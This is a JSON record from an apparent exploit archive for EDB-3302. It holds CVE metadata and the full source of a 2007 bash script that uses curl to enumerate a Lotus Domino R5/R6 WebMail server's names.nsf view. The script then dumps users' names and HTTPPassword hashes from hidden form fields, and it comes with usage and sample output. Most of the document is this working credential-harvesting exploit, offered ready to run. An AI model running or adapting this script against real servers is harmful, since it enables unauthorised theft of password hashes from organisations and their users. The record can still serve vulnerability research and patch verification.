{"exploit":{"id":"EDB-3302","name":"Lotus Domino R6 Webmail - Remote Password Hash Dumper","description":"Lotus Domino R6 Webmail - Remote Password Hash Dumper","cves":["CVE-2007-0977","CVE-2005-2428"],"author":"Marco Ivaldi","published":"2007-02-13","platform":"windows","type":"remote","language":"Shell","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/3302","path":"exploits/windows/remote/3302.sh","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-3302.sh","vulnerabilities":[{"id":"CVE-2007-0977","state":"PUBLISHED","title":null,"titleSource":null,"description":"IBM Lotus Domino R5 and R6 WebMail, with \"Generate HTML for all fields\" enabled, stores HTTPPassword hashes from names.nsf in a manner accessible through Readviewentries and OpenDocument requests to the defaultview view, a different vector than CVE-2005-2428.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2007-0977","cvss":{"version":"2.0","baseScore":7.1,"severity":"high","vectorString":"AV:N/AC:M/Au:N/C:C/I:N/A:N","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2007-0977"},"updatedAt":"2024-08-07T12:43:21.578Z","retrievedAt":"2026-11-27T02:11:12.687Z","stale":false,"error":null},{"id":"CVE-2005-2428","state":"PUBLISHED","title":null,"titleSource":null,"description":"Lotus Domino R5 and R6 WebMail, with \"Generate HTML for all fields\" enabled, stores sensitive data from names.nsf in hidden form fields, which allows remote attackers to read the HTML source to obtain sensitive information such as (1) the password hash in the HTTPPassword field, (2) the password change date in the HTTPPasswordChangeDate field, (3) the client platform in the ClntPltfrm field, (4) the client machine name in the ClntMachine field, and (5) the client Lotus Domino release in the ClntBld field, a different vulnerability than CVE-2005-2696.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2005-2428","cvss":{"version":"2.0","baseScore":5,"severity":"medium","vectorString":"AV:N/AC:L/Au:N/C:P/I:N/A:N","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2005-2428"},"updatedAt":"2024-08-07T22:29:59.319Z","retrievedAt":"2026-11-27T02:11:19.152Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-3302.png?v=2","url":"https://exploitbin.com/exploits/EDB-3302","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-3302/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-3302/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"#!/bin/bash\n\n#\n# $Id: raptor_dominohash,v 1.3 2007/02/13 17:27:28 raptor Exp $\n#\n# raptor_dominohash - Lotus Domino R5/R6 HTTPPassword dump\n# Copyright (c) 2007 Marco Ivaldi <raptor@0xdeadbeef.info>\n#\n# Lotus Domino R5 and R6 WebMail, with \"Generate HTML for all fields\" enabled,\n# stores sensitive data from names.nsf in hidden form fields, which allows\n# remote attackers to read the HTML source to obtain sensitive information such\n# as (1) the password hash in the HTTPPassword field, (2) the password change\n# date in the HTTPPasswordChangeDate field, (3) the client platform in the\n# ClntPltfrm field, (4) the client machine name in the ClntMachine field, and\n# (5) the client Lotus Domino release in the ClntBld field, a different\n# vulnerability than CVE-2005-2696 (CVE-2005-2428).\n#\n# According to testing, it's possible to dump all HTTPPassword hashes using the\n# $defaultview view instead of $users. This saves a considerable amount of time.\n#\n# The code may require some changes to properly work with your configuration.\n#\n# See also:\n# http://www.securiteinfo.com/outils/DominoHashBreaker.shtml\n#\n# Usage:\n# $ ./raptor_dominohash 192.168.0.202\n# [...]\n# Extracting the view entries...\n# Done! 656 unique entries have been found.\n# Now ready to dump password hashes...\n# [...]\n# [http://192.168.0.202/names.nsf/$defaultview/00DA2289CC118A854925715A000611A3]\n# FirstName:      Foo\n# LastName:       Bar\n# ShortName:      fbar\n# HTTPPassword:   (355E98E7C7B59BD810ED845AD0FD2FC4)\n# [...]\n#\n# Vulnerable platforms:\n# Lotus Domino R6 Webmail [tested]\n# Lotus Domino R5 Webmail [untested]\n# Lotus Domino R4 Webmail? [untested]\n#\n\n# Some vars\ni=1\ntmp1=dominohash1.tmp\ntmp2=dominohash2.tmp\n\n# Command line\nhost=$1\n\n# Local fuctions\nfunction header() {\n\techo \"\"\n\techo \"raptor_dominohash - Lotus Domino R5/R6 HTTPPassword dump\"\n\techo \"Copyright (c) 2007 Marco Ivaldi <raptor@0xdeadbeef.info>\"\n\techo \"\"\n}\n\nfunction footer() {\n\techo \"\"\n\texit 0\n}\n\nfunction usage() {\n\theader\n\techo \"usage  : ./raptor_dominohash <host>\"\n\techo \"example: ./raptor_dominohash 192.168.0.202\"\n\tfooter\n}\n\nfunction notfound() {\n\theader\n\techo \"error  : curl not found\"\n\tfooter\n}\n\n# Check if curl is there\ncurl=`which curl 2>/dev/null`\nif [ $? -ne 0 ]; then\n\tnotfound\nfi\n\n# Input control\nif [ -z \"$1\"  ]; then\n\tusage\nfi\n\n# Remove temporary files\nrm -f $tmp1\nrm -f $tmp2\n\nheader\n\n# Extract the view entries\necho \"Extracting the view entries...\"\nwhile :\ndo\n\tcurl \"http://${host}/names.nsf/\\$defaultview?Readviewentries&Start=${i}\" 2>/dev/null | grep unid >> $tmp1\n\n\t# Check grep return value\n\tif [ $? -ne 0 ]; then\n\t\tbreak\n\tfi\n\n\t# Go for the next page\n\ti=`expr $i + 30`\n\techo -ne \"\\b\\b\\b\\b\\b\\b\\b\\b$i\"\ndone\n\ncat $tmp1 | awk -F'unid=\"' '{print $2}' | awk -F'\"' '{print $1}' | sort | uniq > $tmp2\n\n# Check if some view entries have been found\nif [ ! -s $tmp2 ]; then\n\techo \"No entries found on host ${host}!\"\n\tfooter\nfi\necho -ne \"\\b\\b\\b\\b\\b\\b\\b\\bDone! \"\necho \"`wc -l ${tmp2} | awk '{print $1}'` unique entries have been found.\"\necho \"\"\n\n# Perform the hash dumping\necho \"Now ready to dump password hashes...\"\necho \"\"\nsleep 4\nfor unid in `cat $tmp2`\ndo\n\techo \"[http://${host}/names.nsf/\\$defaultview/${unid}]\"\n\techo \"\"\n\t#curl \"http://${host}/names.nsf/\\$defaultview/${unid}?OpenDocument\" 2>/dev/null | egrep '\"FullName\"|\"HTTPPassword\"'\n\tcurl \"http://${host}/names.nsf/\\$defaultview/${unid}?OpenDocument\" 2>/dev/null | egrep '\"FirstName\"|\"LastName\"|\"ShortName\"|\"HTTPPassword\"' | awk -F'input name=\"' '{print $2}' | awk -F'\" type=\"hidden\" value=\"' '{print $1 \":\\t\" $2}' | tr -d '\">'\n\techo \"\"\ndone\n\nfooter\n\n# milw0rm.com [2007-02-13]","sha256":"84ae1c48aa59ae3fd7a0222c9a90373c80f9ba325643d9f6765f8290548f2421","bytes":3596,"fetchedAt":"2026-11-27T02:11:12.433Z","encoding":"utf-8 (display only; download retains original bytes)"}